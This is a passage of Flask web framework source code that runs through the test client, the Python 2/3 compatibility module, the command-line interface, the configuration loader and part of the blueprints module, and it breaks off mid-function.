    http_host = app.config.get('SERVER_NAME')
    app_root = app.config.get('APPLICATION_ROOT')
    if base_url is None:
        url = url_parse(path)
        base_url = 'http://%s/' % (url.netloc or http_host or 'localhost')
        if app_root:
            base_url += app_root.lstrip('/')
        if url.netloc:
            path = url.path
            if url.query:
                path += '?' + url.query
    return EnvironBuilder(path, base_url, *args, **kwargs)


class FlaskClient(Client):
    """Works like a regular Werkzeug test client but has some knowledge about
    how Flask works to defer the cleanup of the request context stack to the
    end of a ``with`` body when used in a ``with`` statement.  For general
    information about how to use this class refer to
    :class:`werkzeug.test.Client`.

    Basic usage is outlined in the :ref:`testing` chapter.
    """

    preserve_context = False

    @contextmanager
    def session_transaction(self, *args, **kwargs):
        """When used in combination with a ``with`` statement this opens a
        session transaction.  This can be used to modify the session that
        the test client uses.  Once the ``with`` block is left the session is
        stored back.

        ::

            with client.session_transaction() as session:
                session['value'] = 42

        Internally this is implemented by going through a temporary test
        request context and since session handling could depend on
        request variables this function accepts the same arguments as
        :meth:`~flask.Flask.test_request_context` which are directly
        passed through.
        """
        if self.cookie_jar is None:
            raise RuntimeError('Session transactions only make sense '
                               'with cookies enabled.')
        app = self.application
        environ_overrides = kwargs.setdefault('environ_overrides', {})
        self.cookie_jar.inject_wsgi(environ_overrides)
        outer_reqctx = _request_ctx_stack.top
        with app.test_request_context(*args, **kwargs) as c:
            sess = app.open_session(c.request)
            if sess is None:
                raise RuntimeError('Session backend did not open a session. '
                                   'Check the configuration')

            # Since we have to open a new request context for the session
            # handling we want to make sure that we hide out own context
            # from the caller.  By pushing the original request context
            # (or None) on top of this and popping it we get exactly that
            # behavior.  It's important to not use the push and pop
            # methods of the actual request context object since that would
            # mean that cleanup handlers are called
            _request_ctx_stack.push(outer_reqctx)
            try:
                yield sess
            finally:
                _request_ctx_stack.pop()

            resp = app.response_class()
            if not app.session_interface.is_null_session(sess):
                app.save_session(sess, resp)
            headers = resp.get_wsgi_headers(c.request.environ)
            self.cookie_jar.extract_wsgi(c.request.environ, headers)

    def open(self, *args, **kwargs):
        kwargs.setdefault('environ_overrides', {}) \
            ['flask._preserve_context'] = self.preserve_context

        as_tuple = kwargs.pop('as_tuple', False)
        buffered = kwargs.pop('buffered', False)
        follow_redirects = kwargs.pop('follow_redirects', False)
        builder = make_test_environ_builder(self.application, *args, **kwargs)

        return Client.open(self, builder,
                           as_tuple=as_tuple,
                           buffered=buffered,
                           follow_redirects=follow_redirects)

    def __enter__(self):
        if self.preserve_context:
            raise RuntimeError('Cannot nest client invocations')
        self.preserve_context = True
        return self

    def __exit__(self, exc_type, exc_value, tb):
        self.preserve_context = False

        # on exit we want to clean up earlier.  Normally the request context
        # stays preserved until the next request in the same thread comes
        # in.  See RequestGlobals.push() for the general behavior.
        top = _request_ctx_stack.top
        if top is not None and top.preserved:
            top.pop()






# -*- coding: utf-8 -*-
"""
    flask._compat
    ~~~~~~~~~~~~~

    Some py2/py3 compatibility support based on a stripped down
    version of six so we don't have to depend on a specific version
    of it.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""
import sys

PY2 = sys.version_info[0] == 2
_identity = lambda x: x


if not PY2:
    text_type = str
    string_types = (str,)
    integer_types = (int,)

    iterkeys = lambda d: iter(d.keys())
    itervalues = lambda d: iter(d.values())
    iteritems = lambda d: iter(d.items())

    from io import StringIO

    def reraise(tp, value, tb=None):
        if value.__traceback__ is not tb:
            raise value.with_traceback(tb)
        raise value

    implements_to_string = _identity

else:
    text_type = unicode
    string_types = (str, unicode)
    integer_types = (int, long)

    iterkeys = lambda d: d.iterkeys()
    itervalues = lambda d: d.itervalues()
    iteritems = lambda d: d.iteritems()

    from cStringIO import StringIO

    exec('def reraise(tp, value, tb=None):\n raise tp, value, tb')

    def implements_to_string(cls):
        cls.__unicode__ = cls.__str__
        cls.__str__ = lambda x: x.__unicode__().encode('utf-8')
        return cls


def with_metaclass(meta, *bases):
    """Create a base class with a metaclass."""
    # This requires a bit of explanation: the basic idea is to make a
    # dummy metaclass for one level of class instantiation that replaces
    # itself with the actual metaclass.
    class metaclass(type):
        def __new__(cls, name, this_bases, d):
            return meta(name, bases, d)
    return type.__new__(metaclass, 'temporary_class', (), {})


# Certain versions of pypy have a bug where clearing the exception stack
# breaks the __exit__ function in a very peculiar way.  The second level of
# exception blocks is necessary because pypy seems to forget to check if an
# exception happened until the next bytecode instruction?
#
# Relevant PyPy bugfix commit:
# https://bitbucket.org/pypy/pypy/commits/77ecf91c635a287e88e60d8ddb0f4e9df4003301
# According to ronan on #pypy IRC, it is released in PyPy2 2.3 and later
# versions.
#
# Ubuntu 14.04 has PyPy 2.2.1, which does exhibit this bug.
BROKEN_PYPY_CTXMGR_EXIT = False
if hasattr(sys, 'pypy_version_info'):
    class _Mgr(object):
        def __enter__(self):
            return self
        def __exit__(self, *args):
            if hasattr(sys, 'exc_clear'):
                # Python 3 (PyPy3) doesn't have exc_clear
                sys.exc_clear()
    try:
        try:
            with _Mgr():
                raise AssertionError()
        except:
            raise
    except TypeError:
        BROKEN_PYPY_CTXMGR_EXIT = True
    except AssertionError:
        pass






# -*- coding: utf-8 -*-
"""
    flask.cli
    ~~~~~~~~~

    A simple command line application to run flask apps.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

import os
import sys
from threading import Lock, Thread
from functools import update_wrapper

import click

from ._compat import iteritems, reraise
from .helpers import get_debug_flag
from . import __version__

class NoAppException(click.UsageError):
    """Raised if an application cannot be found or loaded."""


def find_best_app(module):
    """Given a module instance this tries to find the best possible
    application in the module or raises an exception.
    """
    from . import Flask

    # Search for the most common names first.
    for attr_name in 'app', 'application':
        app = getattr(module, attr_name, None)
        if app is not None and isinstance(app, Flask):
            return app

    # Otherwise find the only object that is a Flask instance.
    matches = [v for k, v in iteritems(module.__dict__)
               if isinstance(v, Flask)]

    if len(matches) == 1:
        return matches[0]
    raise NoAppException('Failed to find application in module "%s".  Are '
                         'you sure it contains a Flask application?  Maybe '
                         'you wrapped it in a WSGI middleware or you are '
                         'using a factory function.' % module.__name__)


def prepare_exec_for_file(filename):
    """Given a filename this will try to calculate the python path, add it
    to the search path and return the actual module name that is expected.
    """
    module = []

    # Chop off file extensions or package markers
    if os.path.split(filename)[1] == '__init__.py':
        filename = os.path.dirname(filename)
    elif filename.endswith('.py'):
        filename = filename[:-3]
    else:
        raise NoAppException('The file provided (%s) does exist but is not a '
                             'valid Python file.  This means that it cannot '
                             'be used as application.  Please change the '
                             'extension to .py' % filename)
    filename = os.path.realpath(filename)

    dirpath = filename
    while 1:
        dirpath, extra = os.path.split(dirpath)
        module.append(extra)
        if not os.path.isfile(os.path.join(dirpath, '__init__.py')):
            break

    sys.path.insert(0, dirpath)
    return '.'.join(module[::-1])


def locate_app(app_id):
    """Attempts to locate the application."""
    __traceback_hide__ = True
    if ':' in app_id:
        module, app_obj = app_id.split(':', 1)
    else:
        module = app_id
        app_obj = None

    try:
        __import__(module)
    except ImportError:
        raise NoAppException('The file/path provided (%s) does not appear to '
                             'exist.  Please verify the path is correct.  If '
                             'app is not on PYTHONPATH, ensure the extension '
                             'is .py' % module)
    mod = sys.modules[module]
    if app_obj is None:
        app = find_best_app(mod)
    else:
        app = getattr(mod, app_obj, None)
        if app is None:
            raise RuntimeError('Failed to find application in module "%s"'
                               % module)

    return app


def find_default_import_path():
    app = os.environ.get('FLASK_APP')
    if app is None:
        return
    if os.path.isfile(app):
        return prepare_exec_for_file(app)
    return app


def get_version(ctx, param, value):
    if not value or ctx.resilient_parsing:
        return
    message = 'Flask %(version)s\nPython %(python_version)s'
    click.echo(message % {
        'version': __version__,
        'python_version': sys.version,
    }, color=ctx.color)
    ctx.exit()

version_option = click.Option(['--version'],
                              help='Show the flask version',
                              expose_value=False,
                              callback=get_version,
                              is_flag=True, is_eager=True)

class DispatchingApp(object):
    """Special application that dispatches to a flask application which
    is imported by name in a background thread.  If an error happens
    it is is recorded and shows as part of the WSGI handling which in case
    of the Werkzeug debugger means that it shows up in the browser.
    """

    def __init__(self, loader, use_eager_loading=False):
        self.loader = loader
        self._app = None
        self._lock = Lock()
        self._bg_loading_exc_info = None
        if use_eager_loading:
            self._load_unlocked()
        else:
            self._load_in_background()

    def _load_in_background(self):
        def _load_app():
            __traceback_hide__ = True
            with self._lock:
                try:
                    self._load_unlocked()
                except Exception:
                    self._bg_loading_exc_info = sys.exc_info()
        t = Thread(target=_load_app, args=())
        t.start()

    def _flush_bg_loading_exception(self):
        __traceback_hide__ = True
        exc_info = self._bg_loading_exc_info
        if exc_info is not None:
            self._bg_loading_exc_info = None
            reraise(*exc_info)

    def _load_unlocked(self):
        __traceback_hide__ = True
        self._app = rv = self.loader()
        self._bg_loading_exc_info = None
        return rv

    def __call__(self, environ, start_response):
        __traceback_hide__ = True
        if self._app is not None:
            return self._app(environ, start_response)
        self._flush_bg_loading_exception()
        with self._lock:
            if self._app is not None:
                rv = self._app
            else:
                rv = self._load_unlocked()
            return rv(environ, start_response)


class ScriptInfo(object):
    """Help object to deal with Flask applications.  This is usually not
    necessary to interface with as it's used internally in the dispatching
    to click.  In future versions of Flask this object will most likely play
    a bigger role.  Typically it's created automatically by the
    :class:`FlaskGroup` but you can also manually create it and pass it
    onwards as click object.
    """

    def __init__(self, app_import_path=None, create_app=None):
        if create_app is None:
            if app_import_path is None:
                app_import_path = find_default_import_path()
            self.app_import_path = app_import_path
        else:
            app_import_path = None

        #: Optionally the import path for the Flask application.
        self.app_import_path = app_import_path
        #: Optionally a function that is passed the script info to create
        #: the instance of the application.
        self.create_app = create_app
        #: A dictionary with arbitrary data that can be associated with
        #: this script info.
        self.data = {}
        self._loaded_app = None

    def load_app(self):
        """Loads the Flask app (if not yet loaded) and returns it.  Calling
        this multiple times will just result in the already loaded app to
        be returned.
        """
        __traceback_hide__ = True
        if self._loaded_app is not None:
            return self._loaded_app
        if self.create_app is not None:
            rv = self.create_app(self)
        else:
            if not self.app_import_path:
                raise NoAppException(
                    'Could not locate Flask application. You did not provide '
                    'the FLASK_APP environment variable.\n\nFor more '
                    'information see '
                    'http://flask.pocoo.org/docs/latest/quickstart/')
            rv = locate_app(self.app_import_path)
        debug = get_debug_flag()
        if debug is not None:
            rv.debug = debug
        self._loaded_app = rv
        return rv


pass_script_info = click.make_pass_decorator(ScriptInfo, ensure=True)


def with_appcontext(f):
    """Wraps a callback so that it's guaranteed to be executed with the
    script's application context.  If callbacks are registered directly
    to the ``app.cli`` object then they are wrapped with this function
    by default unless it's disabled.
    """
    @click.pass_context
    def decorator(__ctx, *args, **kwargs):
        with __ctx.ensure_object(ScriptInfo).load_app().app_context():
            return __ctx.invoke(f, *args, **kwargs)
    return update_wrapper(decorator, f)


class AppGroup(click.Group):
    """This works similar to a regular click :class:`~click.Group` but it
    changes the behavior of the :meth:`command` decorator so that it
    automatically wraps the functions in :func:`with_appcontext`.

    Not to be confused with :class:`FlaskGroup`.
    """

    def command(self, *args, **kwargs):
        """This works exactly like the method of the same name on a regular
        :class:`click.Group` but it wraps callbacks in :func:`with_appcontext`
        unless it's disabled by passing ``with_appcontext=False``.
        """
        wrap_for_ctx = kwargs.pop('with_appcontext', True)
        def decorator(f):
            if wrap_for_ctx:
                f = with_appcontext(f)
            return click.Group.command(self, *args, **kwargs)(f)
        return decorator

    def group(self, *args, **kwargs):
        """This works exactly like the method of the same name on a regular
        :class:`click.Group` but it defaults the group class to
        :class:`AppGroup`.
        """
        kwargs.setdefault('cls', AppGroup)
        return click.Group.group(self, *args, **kwargs)


class FlaskGroup(AppGroup):
    """Special subclass of the :class:`AppGroup` group that supports
    loading more commands from the configured Flask app.  Normally a
    developer does not have to interface with this class but there are
    some very advanced use cases for which it makes sense to create an
    instance of this.

    For information as of why this is useful see :ref:`custom-scripts`.

    :param add_default_commands: if this is True then the default run and
                                 shell commands wil be added.
    :param add_version_option: adds the ``--version`` option.
    :param create_app: an optional callback that is passed the script info
                       and returns the loaded app.
    """

    def __init__(self, add_default_commands=True, create_app=None,
                 add_version_option=True, **extra):
        params = list(extra.pop('params', None) or ())

        if add_version_option:
            params.append(version_option)

        AppGroup.__init__(self, params=params, **extra)
        self.create_app = create_app

        if add_default_commands:
            self.add_command(run_command)
            self.add_command(shell_command)

        self._loaded_plugin_commands = False

    def _load_plugin_commands(self):
        if self._loaded_plugin_commands:
            return
        try:
            import pkg_resources
        except ImportError:
            self._loaded_plugin_commands = True
            return

        for ep in pkg_resources.iter_entry_points('flask.commands'):
            self.add_command(ep.load(), ep.name)
        self._loaded_plugin_commands = True

    def get_command(self, ctx, name):
        self._load_plugin_commands()

        # We load built-in commands first as these should always be the
        # same no matter what the app does.  If the app does want to
        # override this it needs to make a custom instance of this group
        # and not attach the default commands.
        #
        # This also means that the script stays functional in case the
        # application completely fails.
        rv = AppGroup.get_command(self, ctx, name)
        if rv is not None:
            return rv

        info = ctx.ensure_object(ScriptInfo)
        try:
            rv = info.load_app().cli.get_command(ctx, name)
            if rv is not None:
                return rv
        except NoAppException:
            pass

    def list_commands(self, ctx):
        self._load_plugin_commands()

        # The commands available is the list of both the application (if
        # available) plus the builtin commands.
        rv = set(click.Group.list_commands(self, ctx))
        info = ctx.ensure_object(ScriptInfo)
        try:
            rv.update(info.load_app().cli.list_commands(ctx))
        except Exception:
            # Here we intentionally swallow all exceptions as we don't
            # want the help page to break if the app does not exist.
            # If someone attempts to use the command we try to create
            # the app again and this will give us the error.
            pass
        return sorted(rv)

    def main(self, *args, **kwargs):
        obj = kwargs.get('obj')
        if obj is None:
            obj = ScriptInfo(create_app=self.create_app)
        kwargs['obj'] = obj
        kwargs.setdefault('auto_envvar_prefix', 'FLASK')
        return AppGroup.main(self, *args, **kwargs)


@click.command('run', short_help='Runs a development server.')
@click.option('--host', '-h', default='127.0.0.1',
              help='The interface to bind to.')
@click.option('--port', '-p', default=5000,
              help='The port to bind to.')
@click.option('--reload/--no-reload', default=None,
              help='Enable or disable the reloader.  By default the reloader '
              'is active if debug is enabled.')
@click.option('--debugger/--no-debugger', default=None,
              help='Enable or disable the debugger.  By default the debugger '
              'is active if debug is enabled.')
@click.option('--eager-loading/--lazy-loader', default=None,
              help='Enable or disable eager loading.  By default eager '
              'loading is enabled if the reloader is disabled.')
@click.option('--with-threads/--without-threads', default=False,
              help='Enable or disable multithreading.')
@pass_script_info
def run_command(info, host, port, reload, debugger, eager_loading,
                with_threads):
    """Runs a local development server for the Flask application.

    This local server is recommended for development purposes only but it
    can also be used for simple intranet deployments.  By default it will
    not support any sort of concurrency at all to simplify debugging.  This
    can be changed with the --with-threads option which will enable basic
    multithreading.

    The reloader and debugger are by default enabled if the debug flag of
    Flask is enabled and disabled otherwise.
    """
    from werkzeug.serving import run_simple

    debug = get_debug_flag()
    if reload is None:
        reload = bool(debug)
    if debugger is None:
        debugger = bool(debug)
    if eager_loading is None:
        eager_loading = not reload

    app = DispatchingApp(info.load_app, use_eager_loading=eager_loading)

    # Extra startup messages.  This depends a bit on Werkzeug internals to
    # not double execute when the reloader kicks in.
    if os.environ.get('WERKZEUG_RUN_MAIN') != 'true':
        # If we have an import path we can print it out now which can help
        # people understand what's being served.  If we do not have an
        # import path because the app was loaded through a callback then
        # we won't print anything.
        if info.app_import_path is not None:
            print(' * Serving Flask app "%s"' % info.app_import_path)
        if debug is not None:
            print(' * Forcing debug mode %s' % (debug and 'on' or 'off'))

    run_simple(host, port, app, use_reloader=reload,
               use_debugger=debugger, threaded=with_threads,
               passthrough_errors=True)


@click.command('shell', short_help='Runs a shell in the app context.')
@with_appcontext
def shell_command():
    """Runs an interactive Python shell in the context of a given
    Flask application.  The application will populate the default
    namespace of this shell according to it's configuration.

    This is useful for executing small snippets of management code
    without having to manually configuring the application.
    """
    import code
    from flask.globals import _app_ctx_stack
    app = _app_ctx_stack.top.app
    banner = 'Python %s on %s\nApp: %s%s\nInstance: %s' % (
        sys.version,
        sys.platform,
        app.import_name,
        app.debug and ' [debug]' or '',
        app.instance_path,
    )
    ctx = {}

    # Support the regular Python interpreter startup script if someone
    # is using it.
    startup = os.environ.get('PYTHONSTARTUP')
    if startup and os.path.isfile(startup):
        with open(startup, 'r') as f:
            eval(compile(f.read(), startup, 'exec'), ctx)

    ctx.update(app.make_shell_context())

    code.interact(banner=banner, local=ctx)


cli = FlaskGroup(help="""\
This shell command acts as general utility script for Flask applications.

It loads the application configured (either through the FLASK_APP environment
variable) and then provides commands either provided by the application or
Flask itself.

The most useful commands are the "run" and "shell" command.

Example usage:

\b
  %(prefix)s%(cmd)s FLASK_APP=hello.py
  %(prefix)s%(cmd)s FLASK_DEBUG=1
  %(prefix)sflask run
""" % {
    'cmd': os.name == 'posix' and 'export' or 'set',
    'prefix': os.name == 'posix' and '$ ' or '',
})


def main(as_module=False):
    this_module = __package__ + '.cli'
    args = sys.argv[1:]

    if as_module:
        if sys.version_info >= (2, 7):
            name = 'python -m ' + this_module.rsplit('.', 1)[0]
        else:
            name = 'python -m ' + this_module

        # This module is always executed as "python -m flask.run" and as such
        # we need to ensure that we restore the actual command line so that
        # the reloader can properly operate.
        sys.argv = ['-m', this_module] + sys.argv[1:]
    else:
        name = None

    cli.main(args=args, prog_name=name)


if __name__ == '__main__':
    main(as_module=True)






# -*- coding: utf-8 -*-
"""
    flask.config
    ~~~~~~~~~~~~

    Implements the configuration related objects.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

import os
import types
import errno

from werkzeug.utils import import_string
from ._compat import string_types, iteritems
from . import json


class ConfigAttribute(object):
    """Makes an attribute forward to the config"""

    def __init__(self, name, get_converter=None):
        self.__name__ = name
        self.get_converter = get_converter

    def __get__(self, obj, type=None):
        if obj is None:
            return self
        rv = obj.config[self.__name__]
        if self.get_converter is not None:
            rv = self.get_converter(rv)
        return rv

    def __set__(self, obj, value):
        obj.config[self.__name__] = value


class Config(dict):
    """Works exactly like a dict but provides ways to fill it from files
    or special dictionaries.  There are two common patterns to populate the
    config.

    Either you can fill the config from a config file::

        app.config.from_pyfile('yourconfig.cfg')

    Or alternatively you can define the configuration options in the
    module that calls :meth:`from_object` or provide an import path to
    a module that should be loaded.  It is also possible to tell it to
    use the same module and with that provide the configuration values
    just before the call::

        DEBUG = True
        SECRET_KEY = 'development key'
        app.config.from_object(__name__)

    In both cases (loading from any Python file or loading from modules),
    only uppercase keys are added to the config.  This makes it possible to use
    lowercase values in the config file for temporary values that are not added
    to the config or to define the config keys in the same file that implements
    the application.

    Probably the most interesting way to load configurations is from an
    environment variable pointing to a file::

        app.config.from_envvar('YOURAPPLICATION_SETTINGS')

    In this case before launching the application you have to set this
    environment variable to the file you want to use.  On Linux and OS X
    use the export statement::

        export YOURAPPLICATION_SETTINGS='/path/to/config/file'

    On windows use `set` instead.

    :param root_path: path to which files are read relative from.  When the
                      config object is created by the application, this is
                      the application's :attr:`~flask.Flask.root_path`.
    :param defaults: an optional dictionary of default values
    """

    def __init__(self, root_path, defaults=None):
        dict.__init__(self, defaults or {})
        self.root_path = root_path

    def from_envvar(self, variable_name, silent=False):
        """Loads a configuration from an environment variable pointing to
        a configuration file.  This is basically just a shortcut with nicer
        error messages for this line of code::

            app.config.from_pyfile(os.environ['YOURAPPLICATION_SETTINGS'])

        :param variable_name: name of the environment variable
        :param silent: set to ``True`` if you want silent failure for missing
                       files.
        :return: bool. ``True`` if able to load config, ``False`` otherwise.
        """
        rv = os.environ.get(variable_name)
        if not rv:
            if silent:
                return False
            raise RuntimeError('The environment variable %r is not set '
                               'and as such configuration could not be '
                               'loaded.  Set this variable and make it '
                               'point to a configuration file' %
                               variable_name)
        return self.from_pyfile(rv, silent=silent)

    def from_pyfile(self, filename, silent=False):
        """Updates the values in the config from a Python file.  This function
        behaves as if the file was imported as module with the
        :meth:`from_object` function.

        :param filename: the filename of the config.  This can either be an
                         absolute filename or a filename relative to the
                         root path.
        :param silent: set to ``True`` if you want silent failure for missing
                       files.

        .. versionadded:: 0.7
           `silent` parameter.
        """
        filename = os.path.join(self.root_path, filename)
        d = types.ModuleType('config')
        d.__file__ = filename
        try:
            with open(filename) as config_file:
                exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
        except IOError as e:
            if silent and e.errno in (errno.ENOENT, errno.EISDIR):
                return False
            e.strerror = 'Unable to load configuration file (%s)' % e.strerror
            raise
        self.from_object(d)
        return True

    def from_object(self, obj):
        """Updates the values from the given object.  An object can be of one
        of the following two types:

        -   a string: in this case the object with that name will be imported
        -   an actual object reference: that object is used directly

        Objects are usually either modules or classes. :meth:`from_object`
        loads only the uppercase attributes of the module/class. A ``dict``
        object will not work with :meth:`from_object` because the keys of a
        ``dict`` are not attributes of the ``dict`` class.

        Example of module-based configuration::

            app.config.from_object('yourapplication.default_config')
            from yourapplication import default_config
            app.config.from_object(default_config)

        You should not use this function to load the actual configuration but
        rather configuration defaults.  The actual config should be loaded
        with :meth:`from_pyfile` and ideally from a location not within the
        package because the package might be installed system wide.

        See :ref:`config-dev-prod` for an example of class-based configuration
        using :meth:`from_object`.

        :param obj: an import name or object
        """
        if isinstance(obj, string_types):
            obj = import_string(obj)
        for key in dir(obj):
            if key.isupper():
                self[key] = getattr(obj, key)

    def from_json(self, filename, silent=False):
        """Updates the values in the config from a JSON file. This function
        behaves as if the JSON object was a dictionary and passed to the
        :meth:`from_mapping` function.

        :param filename: the filename of the JSON file.  This can either be an
                         absolute filename or a filename relative to the
                         root path.
        :param silent: set to ``True`` if you want silent failure for missing
                       files.

        .. versionadded:: 0.11
        """
        filename = os.path.join(self.root_path, filename)

        try:
            with open(filename) as json_file:
                obj = json.loads(json_file.read())
        except IOError as e:
            if silent and e.errno in (errno.ENOENT, errno.EISDIR):
                return False
            e.strerror = 'Unable to load configuration file (%s)' % e.strerror
            raise
        return self.from_mapping(obj)

    def from_mapping(self, *mapping, **kwargs):
        """Updates the config like :meth:`update` ignoring items with non-upper
        keys.

        .. versionadded:: 0.11
        """
        mappings = []
        if len(mapping) == 1:
            if hasattr(mapping[0], 'items'):
                mappings.append(mapping[0].items())
            else:
                mappings.append(mapping[0])
        elif len(mapping) > 1:
            raise TypeError(
                'expected at most 1 positional argument, got %d' % len(mapping)
            )
        mappings.append(kwargs.items())
        for mapping in mappings:
            for (key, value) in mapping:
                if key.isupper():
                    self[key] = value
        return True

    def get_namespace(self, namespace, lowercase=True, trim_namespace=True):
        """Returns a dictionary containing a subset of configuration options
        that match the specified namespace/prefix. Example usage::

            app.config['IMAGE_STORE_TYPE'] = 'fs'
            app.config['IMAGE_STORE_PATH'] = '/var/app/images'
            app.config['IMAGE_STORE_BASE_URL'] = 'http://img.website.com'
            image_store_config = app.config.get_namespace('IMAGE_STORE_')

        The resulting dictionary `image_store_config` would look like::

            {
                'type': 'fs',
                'path': '/var/app/images',
                'base_url': 'http://img.website.com'
            }

        This is often useful when configuration options map directly to
        keyword arguments in functions or class constructors.

        :param namespace: a configuration namespace
        :param lowercase: a flag indicating if the keys of the resulting
                          dictionary should be lowercase
        :param trim_namespace: a flag indicating if the keys of the resulting
                          dictionary should not include the namespace

        .. versionadded:: 0.11
        """
        rv = {}
        for k, v in iteritems(self):
            if not k.startswith(namespace):
                continue
            if trim_namespace:
                key = k[len(namespace):]
            else:
                key = k
            if lowercase:
                key = key.lower()
            rv[key] = v
        return rv

    def __repr__(self):
        return '<%s %s>' % (self.__class__.__name__, dict.__repr__(self))






# -*- coding: utf-8 -*-
"""
    flask.blueprints
    ~~~~~~~~~~~~~~~~

    Blueprints are the recommended way to implement larger or more
    pluggable applications in Flask 0.7 and later.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""
from functools import update_wrapper

from .helpers import _PackageBoundObject, _endpoint_from_view_func


class BlueprintSetupState(object):
    """Temporary holder object for registering a blueprint with the
    application.  An instance of this class is created by the
    :meth:`~flask.Blueprint.make_setup_state` method and later passed
    to all register callback functions.
    """

    def __init__(self, blueprint, app, options, first_registration):
        #: a reference to the current application
        self.app = app

        #: a reference to the blueprint that created this setup state.
        self.blueprint = blueprint

        #: a dictionary with all options that were passed to the
        #: :meth:`~flask.Flask.register_blueprint` method.
        self.options = options

        #: as blueprints can be registered multiple times with the
        #: application and not everything wants to be registered
        #: multiple times on it, this attribute can be used to figure
        #: out if the blueprint was registered in the past already.
        self.first_registration = first_registration

        subdomain = self.options.get('subdomain')
        if subdomain is None:
            subdomain = self.blueprint.subdomain

        #: The subdomain that the blueprint should be active for, ``None``
        #: otherwise.
        self.subdomain = subdomain

        url_prefix = self.options.get('url_prefix')
        if url_prefix is None:
            url_prefix = self.blueprint.url_prefix

        #: The prefix that should be used for all URLs defined on the
        #: blueprint.
        self.url_prefix = url_prefix

        #: A dictionary with URL defaults that is added to each and every
        #: URL that was defined with the blueprint.
        self.url_defaults = dict(self.blueprint.url_values_defaults)
        self.url_defaults.update(self.options.get('url_defaults', ()))

    def add_url_rule(self, rule, endpoint=None, view_func=None, **options):
        """A helper method to register a rule (and optionally a view function)
        to the application.  The endpoint is automatically prefixed with the
        blueprint's name.
        """
        if self.url_prefix:
            rule = self.url_prefix + rule
        options.setdefault('subdomain', self.subdomain)
        if endpoint is None:
            endpoint = _endpoint_from_view_func(view_func)
        defaults = self.url_defaults
        if 'defaults' in options:
            defaults = dict(defaults, **options.pop('defaults'))
        self.app.add_url_rule(rule, '%s.%s' % (self.blueprint.name, endpoint),
                              view_func, defaults=defaults, **options)


class Blueprint(_PackageBoundObject):
    """Represents a blueprint.  A blueprint is an object that records
    functions that will be called with the
    :class:`~flask.blueprints.BlueprintSetupState` later to register functions
    or other things on the main application.  See :ref:`blueprints` for more
    information.

    .. versionadded:: 0.7
    """

    warn_on_modifications = False
    _got_registered_once = False

    def __init__(self, name, import_name, static_folder=None,
                 static_url_path=None, template_folder=None,
                 url_prefix=None, subdomain=None, url_defaults=None,
                 root_path=None):
        _PackageBoundObject.__init__(self, import_name, template_folder,
                                     root_path=root_path)
        self.name = name
        self.url_prefix = url_prefix
        self.subdomain = subdomain
        self.static_folder = static_folder
        self.static_url_path = static_url_path
        self.deferred_functions = []
        if url_defaults is None:
            url_defaults = {}
        self.url_values_defaults = url_defaults

    def record(self, func):
        """Registers a function that is called when the blueprint is
        registered on the application.  This function is called with the
        state as argument as returned by the :meth:`make_setup_state`
        method.
        """
        if self._got_registered_once and self.warn_on_modifications:
            from warnings import warn
            warn(Warning('The blueprint was already registered once '
                         'but is getting modified now.  These changes '
                         'will not show up.'))
        self.deferred_functions.append(func)

    def record_once(self, func):
        """Works like :meth:`record` but wraps the function in another
        function that will ensure the function is only called once.  If the
        blueprint is registered a second time on the application, the
        function passed is not called.
        """
        def wrapper(state):
            if state.first_registration:
                func(state)
        return self.record(update_wrapper(wrapper, func))

    def make_setup_state(self, app, options, first_registration=False):
        """Creates an instance of :meth:`~flask.blueprints.BlueprintSetupState`
        object that is later passed to the register callback functions.
        Subclasses can override this to return a subclass of the setup state.
        """
        return BlueprintSetupState(self, app, options, first_registration)

    def register(self, app, options, first_registration=False):
        """Called by :meth:`Flask.register_blueprint` to register a blueprint
        on the application.  This can be overridden to customize the register
        behavior.  Keyword arguments from
        :func:`~flask.Flask.register_blueprint` are directly forwarded to this
        method in the `options` dictionary.
        """
        self._got_registered_once = True
        state = self.make_setup_state(app, options, first_registration)
        if self.has_static_folder:
            state.add_url_rule(self.static_url_path + '/<path:filename>',
                               view_func=self.send_static_file,
                               endpoint='static')

        for deferred in self.deferred_functions:
            deferred(state)

    def route(self, rule, **options):
        """Like :meth:`Flask.route` but for a blueprint.  The endpoint for the
        :func:`url_for` function is prefixed with the name of the blueprint.
        """
        def decorator(f):
            endpoint = options.pop("endpoint", f.__name__)
            self.add_url_rule(rule, endpoint, f, **options)
            return f
        return decorator

    def add_url_rule(self, rule, endpoint=None, view_func=None, **options):
        """Like :meth:`Flask.add_url_rule` but for a blueprint.  The endpoint for
        the :func:`url_for` function is prefixed with the name of the blueprint.
        """
        if endpoint:
            assert '.' not in endpoint, "Blueprint endpoints should not contain dots"
        self.record(lambda s:
            s.add_url_rule(rule, endpoint, view_func, **options))

    def endpoint(self, endpoint):
        """Like :meth:`Flask.endpoint` but for a blueprint.  This does not
        prefix the endpoint with the blueprint name, this has to be done
        explicitly by the user of this method.  If the endpoint is prefixed
        with a `.` it will be registered to the current blueprint, otherwise
        it's an application independent endpoint.
        """
        def decorator(f):
            def register_endpoint(state):
                state.app.view_functions[endpoint] = f
            self.record_once(register_endpoint)
            return f
        return decorator

    def app_template_filter(self, name=None):
        """Register a custom template filter, available application wide.  Like
        :meth:`Flask.template_filter` but for a blueprint.

        :param name: the optional name of the filter, otherwise the
                     function name will be used.
        """
        def decorator(f):
            self.add_app_template_filter(f, name=name)
            return f
        return decorator

    def add_app_template_filter(self, f, name=None):
        """Register a custom template filter, available application wide.  Like
        :meth:`Flask.add_template_filter` but for a blueprint.  Works exactly
        like the :meth:`app_template_filter` decorator.

        :param name: the optional name of the filter, otherwise the
                     function name will be used.
        """
        def register_template(state):
            state.app.jinja_env.filters[name or f.__name__] = f
        self.record_once(register_template)

    def app_template_test(self, name=None):
        """Register a custom template test, available application wide.  Like
        :meth:`Flask.template_test` but for a blueprint.

        .. versionadded:: 0.10

        :param name: the optional name of the test, otherwise the
                     function name will be used.
        """
        def decorator(f):
            self.add_app_template_test(f, name=name)
            return f
        return decorator

    def add_app_template_test(self, f, name=None):
        """Register a custom template test, available application wide.  Like
        :meth:`Flask.add_template_test` but for a blueprint.  Works exactly
        like the :meth:`app_template_test` decorator.

        .. versionadded:: 0.10

        :param name: the optional name of the test, otherwise the
                     function name will be used.
        """
        def register_template(state):
